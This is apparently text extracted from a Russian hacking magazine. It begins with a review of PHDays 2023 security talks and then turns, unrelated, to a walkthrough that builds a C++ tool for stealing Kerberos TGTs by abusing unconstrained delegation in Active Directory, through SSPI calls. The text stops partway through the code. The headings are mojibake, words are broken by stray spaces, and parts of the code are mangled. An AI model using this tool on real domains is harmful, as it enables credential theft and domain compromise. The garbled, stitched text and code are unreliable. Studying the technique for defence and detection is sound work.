Под конец док лада перед зри теля ми вырисо вал ся совер шенно новый тай- 
млайн ата ки. Ока залось, что сто ящая за ней груп пиров ка сох раняла
активность боль ше пят надца ти лет и, воз можно, еще покажет себя.

Ре комен дую пос мотреть док лад, а так же можешь гля нуть на 
, опуб ликован ную в бло ге Securelist.

пер вую часть
иссле дова ния

3. ÏÐÀÇÄÍÈÊ Ê ÍÀÌ ÏÐÈÕÎÄÈÒ: ÀÒÀÊÈ ÍÀ ÍÎÂÎÃÎÄÍÈÅ ÑÀÉÒÛ
È ÑÒÐÀÍÈÖÛ ÏÐÎÌÎÀÊÖÈÉ

 #OFFENSE• Ñåê öèÿ:

 Алек сандр Кол чанов, незави симый иссле дова тель• Ñïè êåð:

• Çà ïèñü äîê ëàäà

Этот док лад будет полезен в пер вую оче редь руково дите лям ком паний
и менед жерам, которые орга низу ют рек ламные акции и кон курсы. Алек сандр
Кол чанов — опыт ный баг хантер и на про тяже нии все го повес тво вания давал
при меры пло хих прак тик из лич ного опы та.

Сай ты про моак ций ата куют чаще, чем мож но себе пред ста вить. Неред ко
для про веде ния акций исполь зуют ся сто рон ние сер висы, и чем их боль ше,
тем выше веро ятность стол кнуть ся с уяз вимос тями и утеч ками дан ных. Так же
нель зя забывать про репута цион ные рис ки при боль ших финан совых вло- 
жени ях ком паний. Плюс к это му — боль шая зат рата ресур сов ИБ-отде ла.
На стар те акции при ходит ся под нимать мно жес тво сер висов, а по завер- 
шении все их гра мот но гасить (акка унты, сер веры, домены, под домены и про- 
чее).

Опи раясь на свой опыт, Алек сандр перечис лил наибо лее акту аль ные
методы атак, явный лидер сре ди которых — перех ват домена. Немало проб- 
лем вызыва ют и попыт ки ком паний сэконо мить. Все сай ты зачас тую заводят
на одном акка унте, даже без допол нитель ных нас тро ек прав дос тупа.

Воз можны и финан совые ата ки. В качес тве при мера был упо мянут
СМС-флуд, спо соб ный высушить бюд жет акции пол ностью. Иног да винова та
быва ет аутен тифика ция: удобс тво вхо да на про мосайт час то ста вят выше
безопас ности и здра вого смыс ла.

Еще из инте рес ного: под дель ные утеч ки дан ных (лихой замес из OSINT
и жгу чего желания нанес ти репута цион ный риск ком пании), нак рутки в игро- 
вых акци ях и мошен ничес тво, наруше ния со сто роны под рядчи ков, утеч ки
дан ных сот рудни ков и мно гое дру гое.

Кста ти, о под рядчи ках. С их сто роны воз можно мно жес тво сюр при зов:
закуп ка сом нитель ной рек ламы, исполь зование чужих акка унтов, нак рутки
и про чее в таком духе.

А еще Алек сандр упо мянул очень неп рият ную для всех баг ханте ров
вещь — пери оди чес ки воз ника ющее парази тиро вание ком паний на самой
идее баг баун ти. С обма нами, хот фикса ми уяз вимос тей и даже угро зами. Увы,
такое тоже встре чает ся.

4. G/VRP

 #FAST TRACK• Ñåê öèÿ:

 lalka, незави симый иссле дова тель, автор канала• Ñïè êåð:

@ScriptKiddieNotes
• Çà ïèñü äîê ëàäà

На чина ющим хан терам или тем, кто не зна ет, как вка тывать ся в охо ту за баун- 
ти, рекомен дую обра тить ся к муд рости Лал ки. Не пугай ся, что речь в док ладе
идет о Google. Основная мысль в том, что баги есть вез де.

Что до матерых пот рошите лей веб чика, то для них этот док лад прос то три- 
над цать минут хороше го нас тро ения. Спой лерить не буду, так как выс тупле- 
ние и без того корот кое. Экс прес сивная подача матери ала пос ле прос мотра
каж дому баг ханте ру дает +13 пой нтов к мотива ции, +37 пой нтов к уда че
на нахож дение кри тов и на 101 пой нт сни жает шан сы на дуп ли. Так что глянь
док лад — и бегом искать баги пря мо сей час. Можешь даже не дочиты вать
статью!

5. ÑÎÁÐÀÒÜ ÄÀÍÍÛÅ ÐÀÍÜØÅ ÇËÎÓÌÛØËÅÍÍÈÊÀ

 #FAST TRACK• Ñåê öèÿ:

 Ели заве та Рыжен кова, «Бизон», автор канала • Ñïè êåð: @fuckwebsec
• Çà ïèñü äîê ëàäà

Ели заве та Рыжен кова рас ска зала о сво ем опы те выужи вания (кра улин га, если
угод но) из недр GitHub все воз можных токенов дос тупа, сек ретных клю чей
и дру гой полез ной информа ции. Так же она  скрип том на Python,
что бы все жела ющие тоже смог ли получить удо воль ствие.

по дели лась

Из-за чего вооб ще весь шум? Из-за пло хих прак тик прог рамми рова ния
и баналь ной нев ниматель нос ти, ког да в пуб личных репози тори ях мож но най- 
ти токены, пароли, лицен зион ные клю чи и про чие вещи, которые не дол жны
про текать наружу. Зло умыш ленни кам ведь тоже ничего не сто ит авто мати- 
зиро вать их поиск и валида цию. Ата ка по сво ей сути прос тая, не тре бует
от зло умыш ленни ка получать пра ва в сис теме, а импакт кри тичес кий.

Ели заве та не толь ко рас ска зала о наибо лее популяр ных тул зах, которые
исполь зуют для решения таких задач, но и уточ нила, что, помимо отдель ных
токенов, мож но неред ко встре тить и целые фай лы, щед ро набитые раз нооб- 
разны ми кре дами; так же упо мяну ла методы поис ка информа ции по GitHub
(дор ки), не забыв и про ком плексные решения вро де Git Dorker; затем рас- 
ска зала про спо собы исправ ления ради уса кри виз ны рук раз работ чиков (pre-
commit hook, SAST-решения, интегра ция в CI и так далее).

И напос ледок — важ ней шее напоми нание: если сек реты вне зап но перес- 
тали быть сек ретами (читай: дан ные ском про мети рова ны, ком пания взло- 
мана), то поможет толь ко инва лида ция ста рых токенов и соз дание новых.
И самое глав ное — пос ле это го не нас тупить на те же граб ли еще раз и не
вык ладывать новые токены на GitHub!

Смот реть запись док лада нуж но стро го парал лель но с пре зен таци ей, ина- 
че мож но упус тить пару момен тов. Либо можешь пытать ся раз гля деть слай ды
пря мо в записи.

6. ÊÀÊ ÇÀÙÈÒÈÒÜÑß ÎÒ «ÁÅÑÒÅËÅÑÍÛÕ» ÂÅÁ-ØÅËËÎÂ

 #FAST TRACK• Ñåê öèÿ:

 Дани ил Садырин и Андрей Сикор ский, CyberOK• Ñïè êåðû:

• Çà ïèñü äîê ëàäà

Стре митель ный док лад, в котором сло во взял Дани ил и рас ска зал, какие
веб-шел лы сей час встре чают ся в «дикой при роде» и как с ними обра щать ся.
Нап ример, дос тупный из веба шелл в виде фай ла на дис ке лег ко обна ружить;
попыт ка залить шелл через уяз вимость в веб-при ложе нии (Command
Injection, Object Injection и подоб ное) может стриг герить WAF, а саму уяз- 
вимость вско ре пос ле обна руже ния может про пат чить раз работ чик.

В общем, док ладчик про шел ся по основным нюан сам, зак лючив, что впол- 
не мож но пря тать ся в памяти про цес са веб-при ложе ния. Основные плю сы
это го метода: не нужен файл, мож но мас кировать зап росы на выпол нение
кода к легитим ным скрип там. Минус: зависи мость сро ка жиз ни такого бэк- 
дора от ава рий ного завер шения про цес са или перезаг рузки веб-сер вера.

Да ниил отме тил, что ни в одном из пре дыду щих иссле дова ний это го воп- 
роса нет уни вер саль ного под хода к внед рению бес телес ного бэк дора
при минималь ных пра вах в сис теме.

Вто рую часть док лада, пос вящен ную выяв лению бес телес ных сюр при зов
и защите от них, взял на себя Андрей Сикор ский. Он рас ска зал о решении
под наз вани ем  (System of Orchestration, Lifecycle control, Detection
and Response) и напом нил о такой пот ряса ющей шту ке, как аудит. Вряд ли
кто-то ста нет спо рить с тем, что важ но отлавли вать в том чис ле и бес телес- 
ные бэк доры, не дожида ясь ста дии пос тэкс плу ата ции, которая далеко
не факт что про изой дет сра зу.

SOLDR

В пер вую оче редь док лад будет полезен раз работ чикам и адми нис тра- 
торам, которые хотят знать о пос ледних трен дах в безопас ности или хотя бы
ори енти ровоч но пред став лять себе, с какими явле ниями мож но стол кнуть ся.

7. ÇÀÁËÎÊÈÐÓÉ ÌÅÍß ÏÎËÍÎÑÒÜÞ, ÈËÈ ÍÅ ÂÑÅ VPN
ÎÄÈÍÀÊÎÂÎ ÏÎËÅÇÍÛ

 #FAST TRACK• Ñåê öèÿ:

 Кон стан тин Евдо кимов, незави симый иссле дова тель• Ñïè êåð:

• Çà ïèñü äîê ëàäà

Кон стан тин начал свое бод рое повес тво вание с оды Рос комнад зору за вклад
в популя риза цию VPN в Рос сии. Затем дал общие советы по выбору VPN,
упо мянув фрод ско ринг (гру бо говоря, инди катор рис ка) и все ми любимый
деанон (не путай с про изво дите лем йогур тов).

Этот самый деанон слу чает ся при так называ емом VPN-фей лбэ ке: ког да
соеди нение обры вает ся на пару секунд, твои дан ные про дол жают раз бегать- 
ся на все четыре сто роны, даже если соеди нение бла гопо луч но вос ста нов- 
лено.

Спи кер дал слу шате лям пару важ ных советов. Нап ример: не доверяй сво- 
ему про вай деру, не доверяй РКН, шиф руй сетевой канал и пом ни про SSL-
мимик рирова ние. Пос ле это го док ладчик бла гопо луч но перешел к финаль ной
час ти, в которой рас ска зал про методы обхо да огра ниче ний РКН, а под конец
наг рузил любопыт ных слу шате лей ссыл ками на темати чес кое чти во.

Док лад будет осо бен но инте ресен тем, кто по какой-то при чине все
еще не инте ресо вал ся этой темой дос таточ но под робно.

8. ÌÛ ÇÍÀÅÌ, ×ÒÎ ÂÛ ÄÅËÀËÈ ÏÐÎØËÛÌ ËÅÒÎÌ: ÊÀÊ ÓÇÍÀÒÜ
ÂÑЁ Î ×ÅËÎÂÅÊÅ ÏÎ ÎÒÊÐÛÒÛÌ ÈÑÒÎ×ÍÈÊÀÌ

 #НАУЧ ПОП• Ñåê öèÿ:

 Андрей Масало вич AKA Кибер Дед, «Инфо рус», автор канала• Ñïè êåð:

@deedcoin_club
• Çà ïèñü äîê ëàäà

Враг зна ет сис тему. Вок руг нас дебилы. Сре да нулево го доверия. Интри гует?
Ан дрей Масало вич, широко извес тный в комь юни ти под псев донимом

Кибер Дед, раз вле кал пуб лику, ненавяз чиво пос вящая в осно вы OSINT:
перечис лил арсе нал напада ющих и дал советы о том, как хотя бы минималь но
зат руднить слеж ку за нашими девай сами.

Даль ше пош ли кей сы пос ложнее. Не знаю, мно гие ли уди вят ся, но уход
из соци аль ных сетей и уда ление акка унта не поможет скрыть ся ни от зло- 
умыш ленни ков, ни от пред ста вите лей силовых струк тур. Рав но как балак лава
на голове и отсутс твие в кар манах гад жетов не спа сут от деано на и ответс- 
твен ности за соде янное.

За тем Масало вич рас ска зал о бытовых гад жетах, которые ста новят ся
умнее, чем нуж но. Хорошая новость в том, что пока сле дить потен циаль но
может толь ко самая дорогая тех ника, но это явле ние вре мен ное. И конеч но,
за нами шпи онят не толь ко бытовые гад жеты и при боры, но и фит нес-брас- 
леты, смар тфо ны, умные весы (забав ный слу чай, кста ти) и, конеч но, соц сети,
что не дол жно быть для тебя таким уж шоком. В общем, все, что может
собирать информа цию, обя затель но будет. Доб ро пожало вать в реаль ный
мир!

« », — Êèáåð Äåä

«Мы прос нулись на пла нете, зах вачен ной робота ми, которые
нас сда ют, еще по пред варитель ному сго вору в сос таве орга- 
низо ван ной прес тупной груп пы»

Раз бор инте рес ных кей сов, СОРМ, «Пять глаз», интер пре тация соб ранных
дан ных, ней росети, Чат ГоПоТа и мно гое дру гое сме шано в один мощ ный
информа цион ный кок тей ль, который я тебе рекомен дую про дегус тировать
лич но.

9. À ×ÒÎ, ÒÀÊ ÌÎÆÍÎ ÁÛËÎ? 15 ÌÀËÎÈÇÂÅÑÒÍÛÕ ÏÐÈÅÌÎÂ
OSINT

 #OFFENSE• Ñåê öèÿ:

 Андрей Масало вич AKA Кибер Дед, «Инфо рус», автор канала• Ñïè êåð:

@deedcoin_club
• Çà ïèñü äîê ëàäà

Я не мог удер жать ся и гля нул и вто рой док лад Масало вича. Он час тично
пересе кает ся с пер вым, но в то же вре мя допол няет его: бытовая тех ника,
которая за нами шпи онит; сов сем новый вид шпи она жа под наз вани ем
PlaceRaider (фотоп риложе ние для 3D-шпи она жа); ChatGPT про ходит кап чу,
обма нывая челове ка; «Фей сбук» и его сис тема под ска зок, выда ющая «скры- 
тых дру зей»; геопо зиция в «Твит тере» и ска зоч ные пер сонажи, ее не отклю- 
чающие; сер висы мес тополо жения вро де Glympse; лан дшафтная навига ция
(на этом момен те док лад пересе кает ся с дис ципли ной GEOINT, о которой
в пер вый день форума PHD рас ска зывал Schwarz Osint); Cross-Device
Tracking; аксе леро метр смар тфо на и мно гое-мно гое дру гое.

« » — Êèáåð- 
Äåä
«Живем на позити ве, у нас есть своя фига в кар мане!»

Фи нал док лада — это, гру бо говоря, напоми нание все тех же трех важ ных
момен тов: «враг зна ет сис тему», «вок руг нас дебилы» и «сре да нулево го
доверия». Рекомен дую к прос мотру!

10. ÒÎÏ-10 ÀÐÒÅÔÀÊÒÎÂ LINUX ÄËß ÐÀÑÑËÅÄÎÂÀÍÈß
ÈÍÖÈÄÅÍÒÎÂ

 #DEFENSE• Ñåê öèÿ:

 Лада Анти пова, Angara Security, автор канала • Ñïè êåð: @s3Ch1n7
• Çà ïèñü äîê ëàäà

• Ïðå çåí òàöèÿ

Ла да Анти пова спо кой но и без лиш ней суеты рас ска зала, как искать медь,
а находить золото, ну или что делать, если мы стол кну лись с подоз ритель ной
активностью в живой сис теме.

« » — Ëàäà Àíòè ïîâà.«Grep — наш луч ший друг!»

Но мало любить grep всем сер дцем, надо еще и выучить его син таксис,
а потом не забывать исполь зовать этот мощ ней ший инс тру мент всег да и вез- 
де.

« », — Ëàäà Àíòè ïîâà.
«Ког да мы смот рим любую информа цию в сис теме, мы всег да
ищем ано малии»

Пос ле это го Лада переш ла к основной час ти док лада, в которой перечис лила
топ-10 арте фак тов, которые нуж но получать и изу чать при рас сле дова нии
инци ден тов. Лада под робно рас ска зала об осо бен ностях и нюан сах каж дого
из них, опи раясь на свой опыт.

Воп росы были тоже инте рес ные: соб равши еся кол леги по цеху не удер- 
жались и подели лись сво ими сек ретами мас терс тва. В общем, док лад кру той,
дос тупный, информа тив ный и слу шает ся с удо воль стви ем.

Другие интересные доклады

 — Анна Олей никова, Security Vision

• «

»

Èñ êóññ òâî ñëå äîïû òà â êîð ïîðàòèâ íîé èíôðàñòðóê òóðå:

êàê ïîâåäåí ÷åñêèå èíäè êàòî ðû ïîìîãà þò â ðàñ ñëå äîâà íèè

èíöè äåí òîâ

 — Кон стан тин Полишин,
Positive Technologies

• «

»

Ñî öèàëü íàÿ èíæå íåðèÿ: òåí äåíöèè red team, òåõ íè÷åñ êèå

àñïåêòû kill chain è ïðî åêòíûé îïûò

 — Али са Шев ченко, Zero

Day Engineering (есть еще )

• « »Ñîâ ðåìåí íûå àòà êè íà Google Chrome

ори гинал на англий ском
 —

Сер гей Гор дей чик, Алек сандр Гурин, Игорь Пер вушин, CyberOK
• « »Èí òåðíåò�êàð òîãðà ôèÿ â 2023 ãîäó. ×åãî íå ìîæåò Shodan

 — Дмит рий Маха ев, «Рос телеком-Солар»

• «

»

Êè áåð ðàçâåä êà — ýòî ïðîñ òî, è ÷åì îíà îòëè ÷àåò ñÿ îò „ïðî- 

áèâà“, OSINT è HUMINT

 — Олег Скул кин,

«Бизон»

• « »Êòî, êàê è çà÷åì àòà êóåò Linux-èíôðàñòðóê òóðû

 — Алек сей Его ров,
«Бизон»

• « »Ó deception íåò öåëè, åñòü òîëü êî ïóòü

 — Николай Чур син, Positive

Technologies

• « »Ôåé êîâûå óòå÷ êè: ñëèâ ÍÅ çàñ ÷èòàí?

 — Алек сандр Коротин, «Лабора тория Кас пер ско го»

• «

»

Êîì ïðî ìåòà öèÿ ñåòè ÷åðåç ñðåäñ òâà ðåçåð âíî ãî êîïèðî- 

âàíèÿ

 — Вадим Шелест, МТС
RED (дос тупна )

• « »Red teaming: ìåòîäè êè ôèøèí ãîâûõ àòàê

пре зен тация
 — Кон стан тин

Василь ев и Олег Сле пушен ко, «ИБ Реформ»

• « »Êàê ïîíÿòü, ÷òî òâîÿ èíôðàñòðóê òóðà âçëî ìàíà

ÂÛÂÎÄÛ

На фоне доволь но пря моли ней ных выс тупле ний осо бен но выдели лись док- 
лады Schwarz Osint и Лал ки — как за счет выб ранных спи кера ми обра зов, так
и за счет подачи. С изю мом и интри гой!

При под готов ке матери ала я заметил, что непос редс твен ное при сутс твие
на выс тупле ниях и прос мотр этих же док ладов в записи дают ощу тимо раз ное
вос при ятие одной и той же информа ции. Очень жду, что орга низа торы опуб- 
лику ют оставши еся пре зен тации, что бы мож но было с кай фом перес мотреть
все еще раз.

Всем спи керам без исклю чений — моя бла годар ность за информа цию
и сме лость! Решить ся на пуб личное выс тупле ние без нее неп росто. Вы —
мощь!

mailto:vladfearzzzz@gmail.com
https://xakep.ru/2023/06/23/phd12-report/
https://phdays.com/broadcast/
https://www.youtube.com/playlist?list=PL-PDZMPQHOz9__o8K1lMAlQXr1RjXu6wS
https://t.me/GE0INT
https://t.me/Schwarz_Osint
https://www.youtube.com/watch?v=wAqrdDUXVrc
https://t.me/Schwarz_Osint/825
https://www.youtube.com/watch?v=_mYesKlu_8w
https://securelist.ru/cloudwizard-apt/107420/
https://www.youtube.com/watch?v=TKSEItm0brQ
https://t.me/ScriptKiddieNotes
https://www.youtube.com/watch?v=lbRL5jR8vpw
https://t.me/fuckwebsec
https://www.youtube.com/watch?v=qgn392IcEQA
https://t.me/fuckwebsec/13
https://phdays.com/broadcast/?tag=fast-track&talk=297
https://github.com/vxcontrol/soldr
https://www.youtube.com/watch?v=lmoYf1X81u8
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https://t.me/s3Ch1n7/12
https://www.youtube.com/watch?v=zIXDYfR6ZvU
https://www.youtube.com/watch?v=P-_1cdJewAw
https://www.youtube.com/watch?v=jEl97nSAUOw
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https://www.youtube.com/watch?v=6_PoOQtyQvw
https://www.youtube.com/watch?v=C4K0PMyONY8
https://www.youtube.com/watch?v=Qu5m0tx1dwk
https://www.youtube.com/watch?v=u5VoS6WRzYc
https://www.youtube.com/watch?v=Avch4rXMc38
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ЭКСПЛУАТИРУЕМ 
TGT DELEGATION 

В ACTIVE DIRECTORY
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ВЗЛОМ

В этой статье мы рас смот рим не очень
популяр ную, но край не инте рес ную ата ку,
реали зовав которую ата кующий смо жет
получить TGT-билет поль зовате ля, даже
не зная его пароля либо хеша. Хакеру дос- 
таточ но лишь выпол нить код от лица это го
поль зовате ля, а все осталь ное сде лает
за нас KDC.

Active Directory пре дос тавля ет мощ ный набор фун кций для делеги рова ния
прав на оли цет ворение поль зовате лей кон крет ной служ бе. Сущес тву ет три
вида делеги рова ния: неог раничен ное, огра ничен ное и огра ничен ное
на осно ве ресур сов. Про каж дый уже рас ска зыва лось мно го раз, но какие
еще воз можнос ти таит в себе механизм делеги рова ния?

ÎÑÎÁÅÍÍÎÑÒÈ ÍÅÎÃÐÀÍÈ×ÅÍÍÎÃÎ ÄÅËÅÃÈÐÎÂÀÍÈß

При неог раничен ном делеги рова нии адми нис тра тор при ходит к служ бе
и говорит: «Теперь ты можешь оли цет ворять кли ентов на дру гих служ бах».
При чем на абсо лют но любых служ бах (отсю да и наз вание — неог раничен- 
ное). Как это работа ет?

Во-пер вых, кли ент обра щает ся к служ бе с неог раничен ным делеги рова- 
нием. KDC видит, что эта служ ба име ет спе циаль ный флаг

 (он сиг нализи рует о том, что у служ бы нас тро ено

неог раничен ное делеги рова ние), поэто му воз вра щает кли енту TGS на эту
служ бу, но со спе циаль ным фла гом . Сле дующим шагом кли- 

ент про веря ет этот самый флаг. Если он видит, что флаг уста нов лен, то
понима ет: служ ба исполь зует неог раничен ное делеги рова ние, поэто му кли- 
ент вновь идет к KDC и зап рашива ет спе циаль ный FORWARDED TGT, который
будет отправ лен служ бе.

TRUSTED_FOR_DELEGATION

OK-AS-DELEGATE

Внут ри это го тикета будет лежать так же сес сион ный ключ, что поз волит
служ бе без проб лем оли цет ворять кли ента. Далее у кли ента будет TGS-тикет
на служ бу, а так же этот FORWARDED TGT, поэто му пора идти к служ бе.
Генери рует ся зап рос AP-REQ, который содер жит этот самый FORWARDED
TGT.

FORWARDED TGT в AP-REQ

При чем тикет будет находить ся внут ри так называ емо го аутен тифика тора. Он
поз воля ет пре дот вра тить воз можность релей-ата ки на этап AP-REQ, так
как аутен тифика тор зашиф рован сес сион ным клю чом, а так же содер жит (в
слу чае обыч ного AP-REQ) имя прин ципала кли ента и тай мстемп. Если же
служ ба нас тро ена с неог раничен ным делеги рова нием, то в зап рос AP-REQ,
который отпра вит ся служ бе, попадет не толь ко тай мстемп и имя прин ципала,
но и FORWARDED TGT. При чем этот самый FORWARDED TGT будет лежать
внут ри аутен тифика тора. Сес сион ный ключ для шиф рования аутен тифика тора
кли ент получа ет в отве те TGS-REP, который идет до AP-REQ.

Та ким обра зом, у ата кующе го появ ляет ся воз можность рас шифро вать
аутен тифика тор из AP-REQ, а затем получить TGT-билет поль зовате ля,
который ини цииро вал обра щение к служ бе с неог раничен ным делеги рова- 
нием, ведь на руках у него будет зашиф рован ный блоб и ключ для его дешиф- 
ровки.

ÎÑÎÁÅÍÍÎÑÒÈ ÝÊÑÏËÓÀÒÀÖÈÈ

Что бы успешно получить TGT, нуж но, что бы выпол нялись сле дующие тре бова- 
ния:

служ ба, к которой обра щает ся кли ент, нас тро ена на неог раничен ное
делеги рова ние. Но здесь ничего страш ного нет — все кон трол леры
домена нас тро ены с неог раничен ным делеги рова нием;

•

у нас есть воз можность выпол нить код от лица кли ента.•

Ито говый алго ритм дос таточ но прос той:
1. Об раща емся к служ бе с неог раничен ным делеги рова нием.
2. По луча ем сге нери рован ный AP-REQ.
3. Из вле каем сес сион ный ключ для рас шифров ки аутен тифика тора.
4. Рас шифро выва ем аутен тифика тор.
5. Из вле каем TGT.

ÎÁÍÀÐÓÆÅÍÈÅ ÍÓÆÍÎÉ ÑËÓÆÁÛ

Итак, сна чала соз даем файл , в котором ука зыва ем все нуж ные

заголо воч ные фай лы, под гру жаемые либы, а так же про тотип одной-единс- 
твен ной фун кции.

Header.h

#pragma once
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <DsGetDC.h>
#include <NTSecAPI.h>
#include <iostream>
#include <locale.h>
#include <wincrypt.h>
#include <WinBase.h>
#define DEBUG
#pragma comment (lib, "Secur32.lib")
#pragma comment (lib, "NetApi32.lib")
#pragma comment(lib,"Crypt32.lib")

 DWORD TgtDeleg(LPCWSTR);

Те перь сто ит пре дус мотреть два вари анта работы инс тру мен та: в пер вом
слу чае служ ба с неог раничен ным делеги рова нием будет обна руже на авто- 
мати чес ки (дос таточ но толь ко име ни домена), а во вто ром ата кующий собс- 
твен норуч но смо жет ука зать нуж ный SPN.

По луче ние сес сион ного клю ча и AP-REQ через ука зание домена

Руч ное ука зание SPN

Глав ная фун кция инс тру мен та не очень боль шая. Сна чала получа ем спи сок
аргу мен тов, при чем про веря ем: если их не три, то ата кующий ука зал что-то
не то, поэто му вызыва ем фун кцию, которая рас ска жет, как исполь зовать инс- 
тру мент.

     int wmain(char argc, wchar_t* argv[]) {
    setlocale(LC_ALL, "");
   ShowAwesomeBanner();
       if (argc != 3) {
       ShowUsage();
   }
   ....
}

  void ShowUsage() {
     

  
std::wcout << L"tgtdeleg.exe 1 <DOMAIN NAME>\n\tEx: tgtdeleg.exe 

1 cringe.lab" << std::endl;
     

  
std::wcout << L"tgtdeleg.exe 2 <SPN With Unconstrained Deleg>\n\t

Ex: tgtdeleg.exe 2 CIFS/dc01.cringe.lab" << std::endl;
   exit(-1);
}

Ин форма ция об исполь зовании инс тру мен та

Ес ли же поль зователь ниг де не напор тачил, то перехо дим к пар сингу аргу- 
мен тов. В пер вом слу чае, ког да ука зыва ется толь ко имя домена, вызыва ется
фун кция .GetDomainController()

   LPCWSTR targetname = NULL;
     switch (*argv[1]) {
    case '1':

         targetname = GetDomainController(argv[2]);
       break;
       ...

Эта фун кция поз воля ет получить DNS-имя кон трол лера домена. Мы берем
кон трол лер домена потому, что на нем по умол чанию вклю чено неог раничен- 
ное делеги рова ние. Получить имя мож но с помощью фун кции 

.
DsGetDcName(

)

   LPCWSTR GetDomainController(wchar_t* domainName) {
      PDOMAIN_CONTROLLER_INFO dcInfo = NULL;
          

   
DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL,

DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo);
       if (err != ERROR_SUCCESS) {

    
  

       std::wcout << L"[-] Cant Get DC Name, try use 2 mode: " <<
err << std::endl;
       exit(-1);
   }
    return dcInfo->DomainControllerName;
}

Пос ле получе ния име ни уби раем из него пер вые два сим вола сле ша (так
как фун кция вер нула , а нам нуж но прос то ), а затем добав ляем

к получен ному име ни служ бу CIFS. В ито ге у нас появ ляет ся валид ный SPN
на служ бу CIFS кон трол лера домена.

\\dc01 dc01

  targetname = removeLeadingCharacters(targetname);
#ifdef DEBUG
         std::wcout << L"[+] Target: " << targetname << std::endl;
#endif
      LPCWSTR SPN = addCIFS(targetname);

Фун кция  прос то чуть-чуть сме щает ука затель

на получен ную стро ку, что бы пер вые два сим вола  как бы про пали.

removeLeadingCharacters
\\

   LPCWSTR removeLeadingCharacters(LPCWSTR originalString) {
      LPCWSTR stringPtr = originalString;
           if (stringPtr[0] == L'\' && stringPtr[1] == L'\') {

         stringPtr += 2;
   }
    return stringPtr;
}

А фун кция  добав ляет стро ку  к име ни компь юте ра.addCIFS() CIFS/

   LPCWSTR addCIFS(LPCWSTR originalString) {
      size_t originalSize = wcslen(originalString);
      size_t cifsSize = 5;
          size_t newSize = originalSize + cifsSize + 1;
       LPWSTR newString = new WCHAR[newSize];
     wcscpy_s(newString, newSize, L"CIFS/");
     wcscat_s(newString, newSize, originalString);
    return newString;
}

Есть и вто рой вари ант — поль зователь дол жен самос тоятель но ука зать SPN.
Здесь никако го пар синга тог да не пот ребу ется. Сра зу переда ем получен ный
SPN в фун кцию , в которой реали зова на логика получе ния сес- 
сион ного клю ча и бло ба AP-REQ.

TgtDeleg()

 case '2':
           if (TgtDeleg(argv[2]) == 0) {

               std::wcout << L"[+] TgtDeleg Success" << std::endl;
            return 0;

       }
        else {

               std::wcout << L"[-] TgtDeleg Error" << std::endl;
            return -1;

       }
       break;
   default:

           std::wcout << L"[-] No such mode" << std::endl;
       ShowUsage();

        return 0;
   }

ÏÎÄÊËÞ×ÅÍÈÅ Ê ÑËÓÆÁÅ

Пе рехо дим в сер дце прог раммы — в фун кцию . Она при нима ет

один-единс твен ный аргу мент — это SPN целевой служ бы. Затем начина ется,
как кто-то очень инте рес но выразил ся, «магия SSPI». В дей стви тель нос ти
никакой магии нет. SSPI мож но счи тать эда кой апиш кой, через которую раз- 
работ чики могут свя зывать ся с пос тавщи ками безопас ности (Security
Packages). Воз можнос ти SSPI очень боль шие: шиф рование, под пись, выс тра- 
ива ние кон тек ста. Имен но фун кции SSPI поз волят нам сымити ровать обра- 
щение к служ бе с неог раничен ным делеги рова нием.

TgtDeleg()

Нач нем с фун кции . Она поз воля ет

получить хендл на собс твен ные рек визиты для SSPI, а так же ука зать про токол,
на осно ве которо го будет выс тра ивать ся кон текст. Под рек визита ми понима- 
ется пара «логин:пароль», на осно ве которых поль зователь может прой ти
аутен тифика цию. Кон текст выс тра ивать не при дет ся — нам дос таточ но будет
один раз прос то обра тить ся к служ бе, а ОС уже самос тоятель но пой дет
к KDC, получит TGS и про верит флаг .

AcquireCredentialsHandle()

OK-AS-DELEGATE

  SECURITY_STATUS SEC_Entry AcquireCredentialsHandle(
   _In_ SEC_CHAR       *pszPrincipal,
   _In_ SEC_CHAR       *pszPackage,
   _In_ ULONG          fCredentialUse,
   _In_ PLUID          pvLogonID,
   _In_ PVOID          pAuthData,
    _In_ SEC_GET_KEY_FN pGetKeyFn,
   _In_ PVOID          pvGetKeyArgument,
      _Out_ PCredHandle phCredential,
       _Out_ PTimeStamp ptsExpiry
);

От мечу самые основные парамет ры:
 — имя сущ ности, для которой мы получа ем рек визиты.

Никаких сущ ностей, ни живых, ни мер твых, у нас нет, поэто му ука зыва ем
, что поз воля ет получить рек визиты для текуще го потока;

• pszPrincipal

NULL

 — какой пос тавщик безопас ности исполь зовать;• pszPackage

 — для каких целей будут исполь зованы рек визиты.• fCredentialUse

Ука зыва ем , так как мы ини циали зиру ем пос тро ение

кон тек ста, а зна чит, дол жны отда вать свои дан ные служ бе. Если бы мы выс- 
тупали в качес тве служ бы, то ука зыва ли бы , то есть

получа ли дан ные, которые отпра вил кли ент.

SECPKG_CRED_OUTBOUND

SECPKG_CRED_INBOUND

Па раметр  — опци ональ ная струк тура, в которую мож но
передать рек визиты, спе цифич ные для исполь зуемо го пос тавщи ка безопас-
ности. Нап ример, если бы тре бова лось прой ти аутен тифика цию от лица ино- 
го поль зовате ля, не от того, от которо го запущен инс тру мент, то мы бы
исполь зовали струк туру .

pAuthData

SEC_WINNT_AUTH_IDENTITY

   typedef struct _SEC_WINNT_AUTH_IDENTITY_A {
   unsigned char *User;
   unsigned long UserLength;
   unsigned char *Domain;
   unsigned long DomainLength;
   unsigned char *Password;
   unsigned long PasswordLength;
   unsigned long Flags;
  } SEC_WINNT_AUTH_IDENTITY_A, *PSEC_WINNT_AUTH_IDENTITY_A;

А ини циали зиро вали бы ее вот так:

   SEC_WINNT_AUTH_IDENTITY_A authIdentity = {0};
  authIdentity.User = L"username";

  authIdentity.UserLength = lstrlen(L"username");
  authIdentity.Domain = L"office.local";

  authIdentity.DomainLength = lstrlen(L"office.local");
  authIdentity.Password = L"pass123";

  authIdentity.PasswordLength = lstrlen(L"pass123");
   authIdentity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; // Если строки 

юникода. Если анси, то SEC_WINNT_AUTH_IDENTITY_ANSI

Эле мент  — ука затель на струк туру  для получе ния
дес крип тора учет ных дан ных.

phCredential CredHandle

Вы зыва ем эту фун кцию, получа ем хендл на свои рек визиты.

 CredHandle hCredential;
 TimeStamp tsExpiry;

    
     

  

SECURITY_STATUS status = AcquireCredentialsHandleW(NULL, (LPWSTR)
MICROSOFT_KERBEROS_NAME, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL
, &hCredential, &tsExpiry);
